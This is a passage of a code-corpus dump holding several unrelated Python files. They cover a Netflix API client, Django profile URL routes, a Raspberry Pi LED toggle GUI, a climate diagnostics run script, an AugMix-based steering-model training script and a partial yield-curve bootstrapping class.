(self.access_token_url, urllib.urlencode(params)), 'GET')\n if resp['status'] != '200':\n raise NetflixAuthError('Getting access tokens failed: %s Response Status' % resp['status'])\n\n return dict(parse_qsl(content))\n\n def api_request(self, endpoint=None, method='GET', params=None, format='json', user=True):\n if endpoint is None:\n raise NetflixAPIError('Please supply an API endpoint.')\n\n if endpoint.startswith(self.api_base):\n url = endpoint\n else:\n url = self.api_base + endpoint\n\n if format == 'json':\n if params == None:\n params = {}\n params.update({'output': 'json'})\n\n if method != 'GET':\n resp, content = self.client.request('%s?output=json' % url, method, body=urllib.urlencode(params), headers=self.headers)\n else:\n resp, content = self.client.request('%s?%s' % (url, urllib.urlencode(params)), 'GET', headers=self.headers)\n\n status = int(resp['status'])\n\n #try except for if content is able to be decoded\n try:\n content = json.loads(content)\n except json.JSONDecodeError:\n raise NetflixAPIError('Content is not valid JSON, unable to be decoded.')\n\n if status < 200 or status >= 300:\n raise NetflixAPIError('Code %d: %s' % (status, content['status']['message']))\n\n return dict(content)\n\n def get(self, endpoint=None, params=None):\n params = params or {}\n return self.api_request(endpoint, params=params)\n\n def post(self, endpoint=None, params=None):\n params = params or {}\n return self.api_request(endpoint, method='POST', params=params)\n\n def delete(self, endpoint=None, params=None):\n params = params or {}\n return self.api_request(endpoint, method='DELETE', params=params)\n","sub_path":"netflix.py","file_name":"netflix.py","file_ext":"py","file_size_in_byte":5700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"98460449","text":"from django.conf.urls import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\nfrom django.views.generic import ListView, RedirectView\nfrom profiles.models import UserProfile\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n\n url(r'^profiles/$', ListView.as_view(\n queryset=UserProfile.objects.all(),\n context_object_name=\"profiles\",\n template_name=\"profiles_list.html\"\n ), name=\"profilesList\"),\n\n url(r'^edit/(?P<username>\\w+)/$', 'profiles.views.editProfile', name='editProfile'),\n url(r'^profiles/(?P<username>\\w+)/$', 'profiles.views.showProfile', name='showProfile'),\n url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n url(r'^accounts/login/$', 'django.contrib.auth.views.login', {'template_name': 'login.html'}, name='login'),\n url(r'^accounts/logout/$', 'profiles.views.logoutHandler', name='logout'),\n url(r'^$', RedirectView.as_view(\n url=\"/profiles/\"\n ),name=\"index\"),\n # url('^$', 'profiles.views.check'),\n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n) + staticfiles_urlpatterns()\n","sub_path":"t_task/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"171585346","text":"# Toggle the selected LED when radio button is pressed \n\nfrom tkinter import *\nimport tkinter.font\nfrom gpiozero import LED\nimport RPi.GPIO\nRPi.GPIO.setmode(RPi.GPIO.BCM)\n\n### Hardware\nredLed=LED(18) #gpio 18\ngreenLed=LED(23) #gpio 23\nblueLed=LED(24) #gpio 24\n\nredLed.on() # start with red led on\n\n### Define GUI elements ###\nwin = Tk()\nwin.title(\"LED Toggler\") # title\n#win.geometry(\"200x200\") # window size \nmyFont = tkinter.font.Font(family = 'Helvetica', size = 16, weight = \"bold\") # font \nrad = IntVar() #used to the radio var\n\n### Functions\n\ndef checkRadio(): #checks which radio button was selected\n selectedLED = rad.get()\n toggleLED(selectedLED) # call toggleLED passing the LED to be turned on\ndef toggleLED(ledToggled):\n cleanUpLEDs() #toggle all LEDs off before turning on selected\n if ledToggled == 0:\n print(\"RED\")\n redLed.on()\n elif ledToggled == 1:\n print(\"GREEN\")\n greenLed.on()\n else:\n print(\"BLUE\")\n blueLed.on()\ndef cleanUpLEDs(): #used to off all LEDs \n redLed.off()\n greenLed.off()\n blueLed.off()\ndef close():\n RPi.GPIO.cleanup()\n win.destroy()\n\n### Widgets below \n\n## Radio Buttons for the different LEDs and exit button\n\n# RED\nR1 = Radiobutton(win, text=\"Red\",variable=rad,value=0, command = checkRadio, height = 1, width = 8)\nR1.grid(row=1, column=1, pady=2)\n# GREEN\nR2 = Radiobutton(win, text=\"Green\",variable=rad,value=1, command = checkRadio, height = 1, width = 8)\nR2.grid(row=2, column=1, pady=2)\n# BLUE\nR3 = Radiobutton(win, text=\"Blue\",variable=rad,value=2, command = checkRadio, height = 1, width = 8)\nR3.grid(row=3, column=1, pady=2)\n#EXIT BUTTON\nexitButton = Button(win, text='Exit', font=myFont, command=close, bg='red', height=1, width=10)\nexitButton.grid(row=4, column=1, padx=40, pady=10)\n\n\nwin.protocol(\"WM_DELETE_WINDOW\", close) # cleanup GPIO as window closes \nwin.mainloop() # Loops forever\n ","sub_path":"toggleLED.py","file_name":"toggleLED.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"79330631","text":"import os\nfrom acme_diags.parameter.core_parameter import CoreParameter\nfrom acme_diags.parameter.area_mean_time_series_parameter import AreaMeanTimeSeriesParameter\n\nfrom acme_diags.run import runner\n\nparam = CoreParameter()\n\n#For compy\nmachine_path_prefix = '/compyfs/e3sm_diags_data/'\n#For cori\n#machine_path_prefix = '/global/project/projectdirs/acme/acme_diags'\n\nparam.reference_data_path = os.path.join(machine_path_prefix, 'obs_for_e3sm_diags/time-series/')\nparam.test_data_path = os.path.join(machine_path_prefix, 'test_model_data_for_acme_diags/time-series/E3SM_v1/')\nparam.test_name = 'e3sm_v1'\nparam.output_format = ['png', 'pdf', 'svg']\n\n#prefix = '/compyfs/www/zhan429/examples/'\nprefix = '/compyfs/www/zhan429/tests/'\n\nparam.results_dir = os.path.join(prefix, 'area_mean_with_obs')\n#param.multiprocessing = True\n#param.num_workers = 40\n\n# We're passing in this new object as well, in\n# addtion to the CoreParameter object.\n\nts_param = AreaMeanTimeSeriesParameter()\n#ts_param.ref_names = ['none'] #This setting plot model data only\n#ts_param.output_format = ['png', 'pdf', 'svg']\nts_param.test_name = 'e3sm_v1'\nts_param.start_yr = '2002'\nts_param.end_yr = '2004'\n\nrunner.sets_to_run = ['area_mean_time_series']\nrunner.run_diags([param, ts_param])\n\n\n","sub_path":"area_mean.py","file_name":"area_mean.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"330823403","text":"# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Main script to launch AugMix training on ImageNet.\n\nCurrently only supports ResNet-50 training.\n\nExample usage:\n `python imagenet.py <path/to/ImageNet> <path/to/ImageNet-C>`\n\"\"\"\nfrom __future__ import print_function\n\nimport argparse\nimport os\nimport shutil\nimport time\nimport sys\nimport csv\nimport cv2\nimport math\ncv2.setNumThreads(0)\n# print(cv2.getNumThreads())\nfrom PIL import Image\n\nimport augmentations\n\nimport numpy as np\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn.functional as F\nimport torch.nn as nn\nfrom torchvision import datasets\nfrom torchvision import models\nfrom torchvision import transforms\nfrom models.networks_pytorch import net_nvidia_pytorch, net_commaai_pytorch, net_resnet_pytorch\n\nfrom sklearn.model_selection import train_test_split\n\naugmentations.IMAGE_SIZE = 224\n\nmodel_names = sorted(name for name in models.__dict__\n if name.islower() and not name.startswith('__') and\n callable(models.__dict__[name]))\n\nparser = argparse.ArgumentParser(description='Trains an ImageNet Classifier')\nparser.add_argument(\n 'clean_data', metavar='DIR', help='path to clean dataset')\nparser.add_argument(\n 'clean_data_label', metavar='LABEL_DIR', help='label path to clean dataset label')\n\nparser.add_argument('--gpu_id', required=False, metavar=\"gpu_id\", help='gpu id (0/1)')\n\n# parser.add_argument(\n# 'corrupted_data', metavar='DIR_C', help='path to ImageNet-C dataset')\nparser.add_argument(\n '--model',\n '-m',\n default='nvidia_cnn',\n choices=model_names,\n help='model architecture: ' + ' | '.join(model_names) +\n ' (default: resnet50)')\n# Optimization options\nparser.add_argument(\n '--epochs', '-e', type=int, default=4000, help='Number of epochs to train.')\nparser.add_argument(\n '--learning-rate',\n '-lr',\n type=float,\n default=0.1,\n help='Initial learning rate.')\nparser.add_argument(\n '--batch-size', '-b', type=int, default=128, help='Batch size.')\nparser.add_argument('--eval-batch-size', type=int, default=1000)\nparser.add_argument('--momentum', type=float, default=0.9, help='Momentum.')\nparser.add_argument(\n '--decay',\n '-wd',\n type=float,\n default=0.0001,\n help='Weight decay (L2 penalty).')\n# AugMix options\nparser.add_argument(\n '--mixture-width',\n default=3,\n type=int,\n help='Number of augmentation chains to mix per augmented example')\nparser.add_argument(\n '--mixture-depth',\n default=-1,\n type=int,\n help='Depth of augmentation chains. -1 denotes stochastic depth in [1, 3]')\nparser.add_argument(\n '--aug-severity',\n default=-1,\n type=int,\n help='Severity of base augmentation operators')\nparser.add_argument(\n '--aug-prob-coeff',\n default=1.,\n type=float,\n help='Probability distribution coefficients')\nparser.add_argument(\n '--no-jsd',\n '-nj',\n action='store_false',\n help='Turn off JSD consistency loss.')\nparser.add_argument(\n '--all-ops',\n '-all',\n action='store_true',\n help='Turn on all operations (+brightness,contrast,color,sharpness).')\n# Checkpointing options\nparser.add_argument(\n '--save',\n '-s',\n type=str,\n default='./snapshots',\n help='Folder to save checkpoints.')\nparser.add_argument(\n '--resume',\n '-r',\n type=str,\n default='',\n help='Checkpoint path for resume / test.')\nparser.add_argument('--evaluate', action='store_true', help='Eval only.')\nparser.add_argument(\n '--print-freq',\n type=int,\n default=10,\n help='Training loss print frequency (batches).')\nparser.add_argument(\n '--pretrained',\n dest='pretrained',\n action='store_true',\n help='use pre-trained model')\n# Acceleration\nparser.add_argument(\n '--num-workers',\n type=int,\n default=0,\n help='Number of pre-fetching threads.')\n\nargs = parser.parse_args()\n\nCORRUPTIONS = [\n 'gaussian_noise', 'shot_noise', 'impulse_noise', 'defocus_blur',\n 'glass_blur', 'motion_blur', 'zoom_blur', 'snow', 'frost', 'fog',\n 'brightness', 'contrast', 'elastic_transform', 'pixelate',\n 'jpeg_compression'\n]\n\n# Raw AlexNet errors taken from https://github.com/hendrycks/robustness\nALEXNET_ERR = [\n 0.886428, 0.894468, 0.922640, 0.819880, 0.826268, 0.785948, 0.798360,\n 0.866816, 0.826572, 0.819324, 0.564592, 0.853204, 0.646056, 0.717840,\n 0.606500\n]\n\n\ndef adjust_learning_rate(optimizer, epoch):\n \"\"\"Sets the learning rate to the initial LR (linearly scaled to batch size) decayed by 10 every n / 3 epochs.\"\"\"\n b = args.batch_size / 256.\n k = args.epochs // 3\n if epoch < k:\n m = 1\n elif epoch < 2 * k:\n m = 0.1\n else:\n m = 0.01\n lr = args.learning_rate * m * b\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\n\ndef accuracy(output, target, topk=(1,)):\n \"\"\"Computes the accuracy over the k top predictions for the specified values of k.\"\"\"\n with torch.no_grad():\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].view(-1).float().sum(0, keepdim=True)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n\n\ndef compute_mce(corruption_accs):\n \"\"\"Compute mCE (mean Corruption Error) normalized by AlexNet performance.\"\"\"\n mce = 0.\n for i in range(len(CORRUPTIONS)):\n avg_err = 1 - np.mean(corruption_accs[CORRUPTIONS[i]])\n ce = 100 * avg_err / ALEXNET_ERR[i]\n mce += ce / 15\n return mce\n\n\nclass ToTensor(object):\n \"\"\"Convert ndarrays in sample to Tensors.\"\"\"\n\n def __call__(self, sample):\n image, labels = sample\n\n # swap color axis because\n # numpy image: H x W x C\n # torch image: C X H X W\n #image = image.transpose((2, 0, 1))\n return (torch.Tensor(image, dtype=torch.float32), torch.Tensor(labels, dtype=torch.float32))\n\n\nclass DrivingDataset_pytorch(torch.utils.data.Dataset):\n \"\"\"Face Landmarks dataset.\"\"\"\n\n def __init__(self, xTrainList, yTrainList, transform=None, size=(200,66)):\n \"\"\"\n Args:\n csv_file (string): Path to the csv file with annotations.\n root_dir (string): Directory with all the images.\n transform (callable, optional): Optional transform to be applied\n on a sample.\n \"\"\"\n self.xTrainList = xTrainList\n self.yTrainList = yTrainList\n self.transform = transform\n self.size = size\n\n def __len__(self):\n return len(self.yTrainList)\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n\n img_name = self.xTrainList[idx]\n\n image = cv2.imread(img_name)\n image = cv2.resize(image,self.size, interpolation = cv2.INTER_AREA)\n image = cv2.cvtColor(image, cv2.COLOR_BGR2YUV)\n\n # image = Image.open(img_name)\n # image = image.resize((200, 66))\n # image = image.convert('YCbCr')\n\n labels = self.yTrainList[idx]\n labels = np.array([labels])\n labels = labels.astype('float32')\n sample = (image, labels)\n\n if self.transform:\n sample = self.transform(sample)\n\n return sample\n \n\ndef aug(image, preprocess):\n \"\"\"Perform AugMix augmentations and compute mixture.\n\n Args:\n image: PIL.Image input image\n preprocess: Preprocessing function which should return a torch tensor.\n\n Returns:\n mixed: Augmented and mixed image.\n \"\"\"\n aug_list = augmentations.augmentations\n if args.all_ops:\n aug_list = augmentations.augmentations_all\n\n ws = np.float32(\n np.random.dirichlet([args.aug_prob_coeff] * args.mixture_width))\n m = np.float32(np.random.beta(args.aug_prob_coeff, args.aug_prob_coeff))\n\n image = cv2.cvtColor(image, cv2.COLOR_YUV2BGR)\n # mix = torch.zeros_like(preprocess(image))\n mix = np.zeros_like(image, dtype='float32')\n for i in range(args.mixture_width):\n image_aug = image.copy()\n depth = args.mixture_depth if args.mixture_depth > 0 else np.random.randint(\n 1, 4)\n for _ in range(depth):\n op = np.random.choice(aug_list)\n image_aug = op(image_aug, args.aug_severity)\n # Preprocessing commutes since all coefficients are convex\n # mix += ws[i] * preprocess(image_aug)\n mix += ws[i] * image_aug\n\n mixed = (1 - m) * image + m * mix\n mixed = cv2.cvtColor(mixed.astype('uint8'), cv2.COLOR_BGR2YUV)\n # mixed = transforms.ToTensor()(mixed)\n mixed = mixed.transpose((2, 0, 1))\n mixed = torch.tensor(mixed, dtype=torch.float32)\n # mixed = preprocess(mixed)\n return mixed\n\n\nclass AugMixDataset(torch.utils.data.Dataset):\n \"\"\"Dataset wrapper to perform AugMix augmentation.\"\"\"\n\n def __init__(self, dataset, preprocess, no_jsd=True, no_aug=False):\n self.dataset = dataset\n self.preprocess = preprocess\n self.no_jsd = no_jsd\n self.no_aug = no_aug\n\n def __getitem__(self, i):\n x, y = self.dataset[i]\n if self.no_aug:\n x = x.transpose((2, 0, 1))\n x = torch.tensor(x, dtype=torch.float32)\n return x, y\n elif self.no_jsd:\n return aug(x, self.preprocess), y\n\n # x = x.transpose((2, 0, 1))\n # x = torch.tensor(x, dtype=torch.float32)\n # return x, y\n else:\n im_tuple = (self.preprocess(x), aug(x, self.preprocess),\n aug(x, self.preprocess))\n return im_tuple, y\n\n def __len__(self):\n return len(self.dataset)\n\n\ndef load_train_data_multi(xFolder_list, trainLogPath_list, nRep = 1, fThreeCameras = False, ratio = 1.0, specialFilter = False):\n '''\n Load the training data\n '''\n ## prepare for getting x\n for xFolder in xFolder_list:\n if not os.path.exists(xFolder):\n sys.exit('Error: the image folder is missing. ' + xFolder)\n \n ## prepare for getting y\n trainLog_list = []\n for trainLogPath in trainLogPath_list:\n if not os.path.exists(trainLogPath):\n sys.exit('Error: the labels.csv is missing. ' + trainLogPath)\n with open(trainLogPath, newline='') as f:\n trainLog = list(csv.reader(f, skipinitialspace=True, delimiter=',', quoting=csv.QUOTE_NONE))\n trainLog_list.append(trainLog)\n\n if not isinstance(ratio, list):\n ratio = [ratio]*len(xFolder_list)\n \n ## get x and y\n xList, yList = ([], [])\n \n for rep in range(0,nRep):\n i = 0\n for trainLog in trainLog_list:\n xFolder = xFolder_list[i]\n xList_1 = []\n yList_1 = []\n for row in trainLog:\n ## center camera\n if not specialFilter:\n xList_1.append(xFolder + os.path.basename(row[0])) \n yList_1.append(float(row[3])) \n elif float(row[3]) < 0:\n xList_1.append(xFolder + os.path.basename(row[0])) \n yList_1.append(float(row[3]))\n \n ## if using three cameras\n if fThreeCameras:\n\n ## left camera\n xList_1.append(xFolder + row[1]) \n yList_1.append(float(row[3]) + 0.25) \n \n ## right camera\n xList_1.append(xFolder + row[2]) \n yList_1.append(float(row[3]) - 0.25) \n\n if ratio[i] < 1:\n n = int(len(trainLog) * ratio[i])\n\n #random.seed(42)\n #random.shuffle(xList_1)\n #random.seed(42)\n #random.shuffle(yList_1)\n xList_1, yList_1 = shuffle(xList_1, yList_1)\n\n xList_1 = xList_1[0:n]\n yList_1 = yList_1[0:n]\n print(len(xList_1))\n xList = xList + xList_1\n yList = yList + yList_1\n\n i+=1\n\n #yList = np.array(yList)*10 + 10\n return (xList, yList)\n \n\ndef train(net, train_loader, optimizer):\n \"\"\"Train for one epoch.\"\"\"\n net.train()\n data_ema = 0.\n batch_ema = 0.\n loss_ema = 0.\n acc1_ema = 0.\n acc5_ema = 0.\n\n start = time.time()\n end = time.time()\n # print(cv2.getNumThreads(), ' st')\n\n acc_list = [0,0,0,0,0,0]\n thresh_holds = [0.1, 0.2, 0.5, 1, 2, 5]\n running_loss = 0\n epoch_time = 0\n data_time = 0\n criterion = nn.MSELoss()\n\n # print(cv2.getNumThreads())\n batch_num = len(train_loader)-1\n # batch_num = 2\n\n for i, (images, targets) in enumerate(train_loader):\n\n # image0 = images.detach().numpy()\n # for j in range(128):\n # print(targets[j])\n # image0_j = image0[j].transpose((1, 2, 0)).astype('uint8')\n # cv2.imshow(\"img\", image0_j)\n # cv2.waitKey(0)\n\n # Compute data loading time\n data_time_1 = time.time() - end\n data_time += data_time_1\n optimizer.zero_grad()\n\n images = images.cuda()\n targets = targets.cuda()\n # print(images)\n logits,_ = net(images)\n # loss = F.mse_loss(logits, targets)\n loss = criterion(logits, targets)\n\n loss.backward()\n optimizer.step()\n\n # print(logits[0])\n prediction_error = np.abs(logits.cpu().detach().numpy()-targets.cpu().detach().numpy())\n for j,thresh_hold in enumerate(thresh_holds):\n acc_count = np.sum(prediction_error < thresh_hold)\n acc_list[j] += acc_count\n\n # Compute batch computation time and update moving averages.\n # batch_time = time.time() - end\n end = time.time()\n\n # data_ema = data_ema * 0.1 + float(data_time) * 0.9\n # batch_time_ema = batch_ema * 0.1 + float(batch_time) * 0.9\n # loss_ema = loss_ema * 0.1 + float(loss) * 0.9\n # acc1_ema = acc1_ema * 0.1 + float(acc1) * 0.9\n\n running_loss += loss.item()\n if math.isnan(running_loss):\n print('image ============================================')\n print(images)\n print('logits ============================================')\n print(logits)\n print('targets ============================================')\n print(targets)\n break\n\n # if i % args.print_freq == 0:\n # print(\n # 'Batch {}/{}: Data Time {:.3f} | Batch Time {:.3f} | Train Loss {:.3f} | Train Acc1 '\n # '{:.3f} | Train Acc5 {:.3f}'.format(i, len(train_loader), data_ema,\n # batch_ema, loss_ema, acc1_ema,\n # acc5_ema))\n\n if i >= batch_num -1:\n break\n\n epoch_time = time.time() - start\n\n acc = np.mean(acc_list) / batch_num / args.batch_size\n running_loss /= batch_num\n\n print('data_time ', data_time)\n\n return running_loss, acc, epoch_time\n\n\ndef test(net, test_loader):\n \"\"\"Evaluate network on given dataset.\"\"\"\n net.eval()\n acc_list = [0,0,0,0,0,0]\n thresh_holds = [0.1, 0.2, 0.5, 1, 2, 5]\n running_loss = 0\n batch_num = len(test_loader)-1\n # batch_num = 2\n\n with torch.no_grad():\n for i, (images, targets) in enumerate(test_loader):\n images, targets = images.cuda(), targets.cuda()\n logits,_ = net(images)\n loss = F.mse_loss(logits, targets)\n running_loss += loss.item()\n\n prediction_error = np.abs(logits.cpu().detach().numpy()-targets.cpu().detach().numpy())\n for j,thresh_hold in enumerate(thresh_holds):\n acc_count = np.sum(prediction_error < thresh_hold)\n acc_list[j] += acc_count\n\n if i >= batch_num -1:\n break\n\n acc = np.mean(acc_list) / batch_num / args.batch_size\n running_loss /= batch_num\n\n return running_loss, acc\n\n\ndef test_c(net, test_transform):\n \"\"\"Evaluate network on given corrupted dataset.\"\"\"\n corruption_accs = {}\n for c in CORRUPTIONS:\n print(c)\n for s in range(1, 6):\n valdir = os.path.join(args.corrupted_data, c, str(s))\n val_loader = torch.utils.data.DataLoader(\n datasets.ImageFolder(valdir, test_transform),\n batch_size=args.eval_batch_size,\n shuffle=False,\n num_workers=args.num_workers,\n pin_memory=True)\n\n loss, acc1 = test(net, val_loader)\n if c in corruption_accs:\n corruption_accs[c].append(acc1)\n else:\n corruption_accs[c] = [acc1]\n\n print('\\ts={}: Test Loss {:.3f} | Test Acc1 {:.3f}'.format(\n s, loss, 100. * acc1))\n\n return corruption_accs\n\n\ndef get_label_file_name(folder_name, suffix=\"\"):\n pos = folder_name.find('_')\n if pos == -1:\n main_name = folder_name\n else:\n main_name = folder_name[0:pos]\n\n if \"train\" in folder_name:\n labelName = main_name.replace(\"train\",\"labels\") + \"_train\"\n elif \"val\" in folder_name:\n labelName = main_name.replace(\"val\",\"labels\") + \"_val\"\n\n labelName = labelName + suffix\n labelName = labelName + \".csv\"\n return labelName\n\n\ndef main():\n\n start = time.time()\n\n torch.manual_seed(1)\n np.random.seed(1)\n\n # Load datasets\n # mean = [0.485, 0.456, 0.406]\n # std = [0.229, 0.224, 0.225]\n # train_transform = transforms.Compose(\n # [transforms.RandomResizedCrop(224),\n # transforms.RandomHorizontalFlip()])\n # preprocess = transforms.Compose(\n # [transforms.ToTensor(),\n # transforms.Normalize(mean, std)])\n preprocess = transforms.Compose(\n # [transforms.ToTensor(), transforms.resize(66, 200)]\n [transforms.ToTensor()]\n )\n # test_transform = transforms.Compose([\n # transforms.Resize(256),\n # transforms.CenterCrop(224),\n # preprocess,\n # ])\n\n traindir = args.clean_data\n # valdir = traindir.replace('train', 'val')\n testdir = traindir.replace('train', 'val')\n label_file = args.clean_data_label\n\n xList, yList = load_train_data_multi([traindir], [label_file])\n xTrainList, xValidList = train_test_split(np.array(xList), test_size=0.1, random_state=42)\n yTrainList, yValidList = train_test_split(np.array(yList), test_size=0.1, random_state=42)\n\n BN_flag = 0 # nvidia net\n # BN_flag = 5 # comma.ai\n # BN_flag = 8 # resnet\n\n size = (200, 66)\n if BN_flag == 8: #resnet\n size = (64, 64)\n\n train_dataset = DrivingDataset_pytorch(xTrainList, yTrainList, size=size)\n valid_dataset = DrivingDataset_pytorch(xValidList, yValidList, size=size)\n\n # train_dataset = datasets.ImageFolder(traindir, train_transform)\n train_dataset = AugMixDataset(train_dataset, preprocess)\n valid_dataset = AugMixDataset(valid_dataset, preprocess, no_aug=True)\n\n train_loader = torch.utils.data.DataLoader(\n train_dataset,\n batch_size=args.batch_size,\n shuffle=True,\n num_workers=args.num_workers)\n val_loader = torch.utils.data.DataLoader(\n valid_dataset,\n batch_size=args.batch_size,\n shuffle=False,\n num_workers=args.num_workers)\n\n # if args.pretrained:\n # print(\"=> using pre-trained model '{}'\".format(args.model))\n # net = models.__dict__[args.model](pretrained=True)\n # else:\n # print(\"=> creating model '{}'\".format(args.model))\n # net = models.__dict__[args.model]()\n\n if BN_flag == 0:\n net = net_nvidia_pytorch()\n elif BN_flag == 5:\n net = net_commaai_pytorch()\n elif BN_flag == 8:\n net = net_resnet_pytorch()\n\n print(net)\n\n # optimizer = torch.optim.SGD(\n # net.parameters(),\n # args.learning_rate,\n # momentum=args.momentum,\n # weight_decay=args.decay)\n\n optimizer = torch.optim.Adam(net.parameters(), lr=0.001)\n\n # Distribute model across all visible GPUs\n net = torch.nn.DataParallel(net).cuda()\n cudnn.benchmark = True\n\n start_epoch = 0\n\n if args.resume:\n if os.path.isfile(args.resume):\n checkpoint = torch.load(args.resume)\n start_epoch = checkpoint['epoch'] + 1\n best_acc1 = checkpoint['best_acc1']\n net.load_state_dict(checkpoint['state_dict'])\n optimizer.load_state_dict(checkpoint['optimizer'])\n print('Model restored from epoch:', start_epoch)\n\n if args.evaluate:\n test_loss, test_acc1 = test(net, val_loader)\n print('Clean\\n\\tTest Loss {:.3f} | Test Acc1 {:.3f}'.format(\n test_loss, 100 * test_acc1))\n\n corruption_accs = test_c(net, test_transform)\n for c in CORRUPTIONS:\n print('\\t'.join([c] + map(str, corruption_accs[c])))\n\n print('mCE (normalized by AlexNet): ', compute_mce(corruption_accs))\n return\n\n if not os.path.exists(args.save):\n os.makedirs(args.save)\n if not os.path.isdir(args.save):\n raise Exception('%s is not a dir' % args.save)\n\n log_path = os.path.join(args.save,\n 'imagenet_{}_training_log.csv'.format(args.model))\n with open(log_path, 'w') as f:\n f.write(\n 'epoch,batch_time,train_loss,train_acc1(%),test_loss,test_acc1(%)\\n')\n\n best_acc1 = 0\n print('Beginning training from epoch:', start_epoch + 1)\n last_time = start\n timing_list=[]\n for epoch in range(start_epoch, args.epochs):\n # adjust_learning_rate(optimizer, epoch)\n\n train_loss, train_acc1, epoch_time = train(net, train_loader,\n optimizer)\n test_loss, test_acc1 = test(net, val_loader)\n\n is_best = test_acc1 > best_acc1\n best_acc1 = max(test_acc1, best_acc1)\n checkpoint = {\n 'epoch': epoch,\n 'model': args.model,\n 'state_dict': net.state_dict(),\n 'best_acc1': best_acc1,\n 'optimizer': optimizer.state_dict(),\n }\n\n save_path = os.path.join(args.save, 'checkpoint_'+str(epoch)+'.pth')\n if ((epoch+1) % 20 == 0) or (epoch>=args.epochs-1):\n torch.save(checkpoint, save_path)\n if is_best:\n shutil.copyfile(save_path, os.path.join(args.save, 'model_best.pth'))\n\n with open(log_path, 'a') as f:\n f.write('%03d,%0.3f,%0.6f,%0.2f,%0.5f,%0.2f\\n' % (\n (epoch + 1),\n epoch_time,\n train_loss,\n 100. * train_acc1,\n test_loss,\n 100. * test_acc1,\n ))\n\n print(\n 'Epoch {:3d} ({:.4f}) | Train Loss {:.4f} | Train Acc1 {:.2f} | Test Loss {:.3f} | Test Acc1 {:.2f}'\n .format((epoch + 1), epoch_time, train_loss, 100. * train_acc1, test_loss, 100. * test_acc1))\n\n end = time.time()\n\n print('--------------------------------- one epoch time: ', end-last_time, ' s, total time: ', end-start, ' s')\n timing_list.append(end-start)\n last_time = end\n\n print('timing_list ', timing_list)\n\n # corruption_accs = test_c(net, test_transform)\n # for c in CORRUPTIONS:\n # print('\\t'.join(map(str, [c] + corruption_accs[c])))\n\n # print('mCE (normalized by AlexNet):', compute_mce(corruption_accs))\n\n\nif __name__ == '__main__':\n if (args.gpu_id != None):\n os.environ[\"CUDA_VISIBLE_DEVICES\"]=str(args.gpu_id)\n print(\"CUDA_VISIBLE_DEVICES \" + os.environ[\"CUDA_VISIBLE_DEVICES\"])\n\n main()\n","sub_path":"augmix/steering.py","file_name":"steering.py","file_ext":"py","file_size_in_byte":22690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"613027443","text":"#define bond behavior\r\n\r\nclass YieldCurve(object):\r\n\r\n def __init__(self):\r\n self.zero_rates = {}\r\n self.entries = {}\r\n\r\n def add_entry(self, par, T, coup, price, freq):\r\n self.entries[T] = (par, coup, price, freq)\r\n\r\n def get_zero_rates(self):\r\n self.__zero_coupons__()\r\n self.__get_bond_spot_rates__()\r\n return [self.zero_rates[T] for T in self.get_maturities()]\r\n\r\n def get_maturities(self):\r\n return sorted(self.entries.keys())\r\n\r\n def __zero_coupons__(self):\r\n for T in self.entries.keys():\r\n (par, coup, price, freq) = self.entries[T]\r\n if coup == 0:\r\n self.zero_rates[T] = self.zero_coupon_spot_rate(par, price, T)\r\n\r\n def __get_bond_spot_rates__(self):\r\n for T in self.get_maturities():\r\n entry = self.entries[T]\r\n (par, coup, price, freq) = entry\r\n\r\n if coup != 0:\r\n self.zero_rates[T] = self.__calculate_bond_spot_rate__(T, entry)\r\n\r\n def __calculate_bond_spot_rate__(self, T, entry):\r\n try:\r\n (par, coup, price, freq) = entry\r\n periods = T * freq\r\n value = price\r\n per_coupon = coup / freq\r\n\r\n for i in range(int(periods)-1):\r\n t = (i+1)/float(freq)\r\n spot_rate = self.zero_rates[t]\r\n discounted_coupon = per_coupon * np.exp(-spot_rate*t)\r\n value -= discounted_coupon\r\n\r\n last_period = int(periods)/float(freq)\r\n spot_rate = -np.log(value/(par+per_coupon))/last_period\r\n\r\n return spot_rate\r\n except:\r\n print(\"error\")\r\n\r\n def zero_coupon_spot_rate(self, par, price, T):\r\n spot_rate = np.log(par/price)/T\r\n return spot_rate\r\n\r\n#plot\r\n\r\nbond_plot = YieldCurve()\r\nbond_plot.add_entry(100, 1/12, 0., 99.80, 2)\r\nbond_plot.add_entry(100, 2/12, 0., 99.60, 2)\r\nbond_plot.add_entry(100, 3/12, 0., 99.4, 2)\r\nbond_plot.add_entry(100, 6/12, 3, 100.27, 2)\r\nbond_plot.add_entry(100, 12/12, 4, 101.57, 2)\r\n\r\ny = bond_plot.get_zero_rates()\r\nx = bond_plot.get_maturities()\r\n\r\nplt.plot(x, y)\r\nplt.title(\"Zero Curve\")\r\nplt.ylabel(\"Zero Rate\")\r\nplt.xlabel(\"Maturity in 